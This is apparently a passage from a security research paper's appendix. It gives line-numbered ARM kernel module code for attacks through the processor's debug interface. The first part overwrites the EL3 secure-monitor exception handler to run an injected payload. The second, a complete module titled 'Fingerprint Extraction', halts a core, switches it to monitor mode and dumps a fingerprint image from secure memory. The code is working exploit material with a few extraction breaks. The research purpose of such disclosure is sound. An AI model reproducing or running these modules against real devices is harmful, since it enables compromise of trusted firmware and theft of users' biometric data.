195 u64 vbar_el3 = read_single_register(base−>debug, 0xd53ec000);
196 // Save the original SMC exception handler in the exception table
197 u32 smc_handler_ins_src = read_memory_via_dcc(base−>debug,

vbar_el3 + 0x400);
198 // Craft a instruction to jump to the PAYLOAD_ADDRESS
199 u32 branch_ins = 0x14000000 | (((PAYLOAD_ADDRESS − (

vbar_el3 + 0x400)) >> 2) & 0x3ffffff);
200 // Override the SMC exception handler with the crafted instruction
201 write_memory_via_dcc(base−>debug, vbar_el3 + 0x400, &

branch_ins, sizeof(branch_ins) / 4);
202

203 // Step 6: Copy payload to secure memory
204 // Note that ins_at_dlr_el0_src and smc_handler_ins_src will be used

for restoration in the PAYLOAD
205 write_memory_via_dcc(base−>debug, PAYLOAD_ADDRESS,

PAYLOAD, sizeof(PAYLOAD) / 4);
206

207 // Step 7: Restore context
208 restore_context(base−>debug, buf);
209

210 // Step 8: Restart the target processor
211 restart_by_ect(base−>cti);
212 }
213

214 static int __init attack_init(void) {
215 struct reg_base ∗base = kmalloc(sizeof(t_reg_base), GFP_KERNEL);
216 // enable halting debug on processor 0
217 smp_call_function_single(0, enable_halting_debug, NULL, 1);
218

219 // Map the CTI and debug registers of processor 0 into memory
220 base−>cti = ioremap(CORE_0_CTI_BASE, 0x1000);
221 base−>debug = ioremap(CORE_0_DBG_BASE, 0x1000);
222

223 // Manipulate processor 0 from processor 1
224 smp_call_function_single(1, payload_execution, base, 1);
225

226 iounmap(base−>cti);
227 iounmap(base−>debug);
228 kfree(param);
229 return 0;
230 }
231

232 static void __exit attack_cleanup(void) {}
233

234 module_init(attack_init);
235 module_exit(attack_cleanup);

C. Fingerprint Extraction

1 static u32 read_register_via_r0(void __iomem ∗debug, u32 ins) {
2 // Execute the ins to copy the target register to X0
3 execute_ins_via_itr(debug, ins);
4 // Copy R0 to the DCC register DBGDTRTX
5 // 0xee000e15 <=> mcr p14, 0, R0, c0, c5, 0
6 execute_ins_via_itr(debug, 0xee000e15);
7 // Read the DBGDTRTX via the memory mapped interface



8 return ioread32(debug + DBGDTRTX_OFFSET);
9 }

10

11 static u32 read_memory_via_dcc(void __iomem ∗debug, u32 addr) {
12 // movw R0, addr[15:0]
13 u32 inst = 0xe3000000 | ((addr & 0xf000) << 4) | (addr & 0xfff);
14 execute_ins_via_itr(debug, inst);
15 // movt R0 addr[31:16]
16 inst = 0xe3400000 | ((addr >> 12) & 0xf0000) | ((addr >> 16) & 0

xfff);
17 execute_ins_via_itr(debug, inst);
18 // 0xe5910000 <=> ldr R0, [R0]
19 execute_ins_via_itr(debug, 0xe5900000);
20 // read R0 via DBGDTRTX
21 // 0xee000e15 <=> mcr p14, 0, R0, c0, c5, 0
22 return read_register_via_r0(debug, 0xee000e15);
23 }
24

25 static u32 output_fingerprint_image(void __iomem ∗debug, u32 start,
u32 size) {

26 for (u32 i = 0; i < size; i = i + 0x10) {
27 u32 addr = start + i;
28 printk("%08x: %08x %08x %08x %08x\n", addr,
29 read_memory_via_dcc(debug, addr),
30 read_memory_via_dcc(debug, addr + 0x4),
31 read_memory_via_dcc(debug, addr + 0x8),
32 read_memory_via_dcc(debug, addr + 0xc));
33 }
34 }
35

36 static void fingerprint_extraction(void __iomem∗ debug) {
37 // Step 1: Unlock the debug registers
38 iowrite32(0xc5acce55, debug + DBGLAR_OFFSET);
39 iowrite32(0x0, debug + DBGOSLAR_OFFSET);
40

41 // Step 2: Enable halting debug on the target processor
42 u32 reg = ioread32(debug + DBGDSCR_OFFSET);
43 reg |= 0x4000;
44 iowrite32(reg, debug + DBGDSCR_OFFSET);
45

46 // Step 3: Halt the target processor
47 iowrite32(0x1, debug + DBGDRCR_OFFSET);
48 reg = ioread32(debug + DBGDSCR_OFFSET);
49 while ((reg & 0x1) != 0x1) {
50 reg = ioread32(debug + DBGDSCR_OFFSET);
51 }
52

53 // Step 4: Enable the usage of DBGITR in debug state
54 reg |= 0x2000;
55 iowrite32(reg, debug + DBGDSCR_OFFSET);
56

57 // Step 5: Save R0 to stack since we are going to change R0
58 // 0xe52d0004 <=> push {R0}
59 execute_ins_via_itr(debug, 0xe52d0004);
60

61 // Step 6: Switch to monitor mode to access secure resource
62 // 0xe10f0000 <=> mrs R0, CPSR
63 u32 cpsr = read_register_via_r0(debug, 0xe10f0000);
64 // 0xe3c0001f <=> bic R0, R0, 0x1f
65 execute_ins_via_itr(debug, 0xe3c0001f);
66 // 0xe3800016 <=> orr R0, R0, 0x16
67 execute_ins_via_itr(debug, 0xe3800016);
68 // 0xe129f000 <=> msr CPSR, R0
69 execute_ins_via_itr(debug, 0xe129f000);
70

71 // Step 7: Read the fingerprint image
72 u32 addr = read_memory_via_dcc(debug, 0x2efad510);
73 u32 size = read_memory_via_dcc(debug, 0x2ef7f414);
74 output_fingerprint_image(debug, addr, size);
75

76 // Step 8: Switch back to previous cpu mode
77 // 0xe10f0000 <=> mrs R0, CPSR
78 read_register_via_r0(debug, 0xe10f0000);
79 // 0xe3c0001f <=> bic R0, R0, 0x1f

80 execute_ins_via_itr(debug, 0xe3c0001f);
81 execute_ins_via_itr(debug, 0xe3800000 | (cpsr & 0x1f));
82 // 0xe129f000 <=> msr CPSR, R0
83 execute_ins_via_itr(debug, 0xe129f000);
84

85 // Step 9: Revert R0 from stack
86 // 0xe49d0004 <=> pop {R0}
87 execute_ins_via_itr(debug, 0xe49d0004);
88

89 // Step 10: Disable EDITR before exiting debug state
90 reg = ioread32(debug + DBGDSCR_OFFSET);
91 reg &= ~0x2000;
92 iowrite32(reg, debug + DBGDSCR_OFFSET);
93

94 // Step 11: Restart the target processor
95 iowrite32(0x2, debug + DBGDRCR_OFFSET);
96 reg = ioread32(debug + DBGDSCR_OFFSET);
97 while ((reg & 0x2) != 0x2) {
98 reg = ioread32(debug + DBGDSCR_OFFSET);
99 }

100 }
101

102

103 static int __init attack_init(void) {
104 // Map the debug registers of processor 0 into memory
105 void __iomem ∗debug = ioremap(CORE_0_DBG_BASE, 0x1000);
106

107 // Extract fingerprint from processor 1
108 smp_call_function_single(1, fingerprint_extraction, debug, 1);
109

110 iounmap(debug);
111 return 0;
112 }
113

114 static void __exit attack_cleanup(void) {}
115

116 module_init(attack_init);
117 module_exit(attack_cleanup);
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